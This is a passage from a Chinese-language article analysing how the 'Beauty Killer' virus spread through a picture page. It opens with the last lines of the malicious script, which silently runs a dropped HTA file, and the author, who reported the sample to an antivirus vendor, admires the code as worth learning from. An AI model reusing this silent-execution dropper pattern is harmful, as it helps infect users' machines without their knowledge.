wsh.run "c:\isp.hta",0
window.close ()
</script>
有一个
真是一段短小精悍的代码。估计流程大家已经看明白了。先在缓存里找到那个文件，然后复制到系统目录里，并执行它。而且，精彩之处还在于，作者用脚本生成了一个脚本。剩下来的工作，我就不敢做了，让我跟踪.exe文件，找出其中的流程，过几年再说吧。不过就看这之前的脚本，也是极为精彩的。其实，如果你想学编程，一定要学习一些病毒代码，这里面有很多值得借鉴的东西。先从简单的学起，比如这个病毒。
整个跟踪下来，我一直很是兴奋，不是因为我发现了病毒的传播方法，而是为作者的代码拍案叫绝。如果你还懂一点编程的话，那么你应该学习怎么去欣赏一段代码，好的代码，就像文学里的诗歌一样，虽短小，却回味无穷。
呵呵，扯了一堆废话，还是干正事要紧，赶快把我提取出的病毒打了个包，发给了瑞星。（那天应该是02/26）。大约三天后，得到了瑞星的回复，告诉了我这是“美女杀手”。到网站一看，还是个新病毒。
说来也巧，我和我同学都打开了那个网址，可是我对那个病毒“屡试不爽”，而我同学却被折腾的“爽的不得了”，一看病毒库资料，我才恍然大悟，原来是vb的程序，而我没有装studio，也没装其他的vb程序，所以没有vb6运行库，病毒当然无法运行。哈哈，想起来真是后怕。
希望通过此文，大家能够对病毒有一个新的认识，其实病毒也不可怕，只要弄清了机理，病毒可是一个好玩的东西。http://www.hack58.net/Article/60/64/2006/7200.htm
美女图片传病毒“美女杀手”传播过程全解析
0
相关文章
关注我们
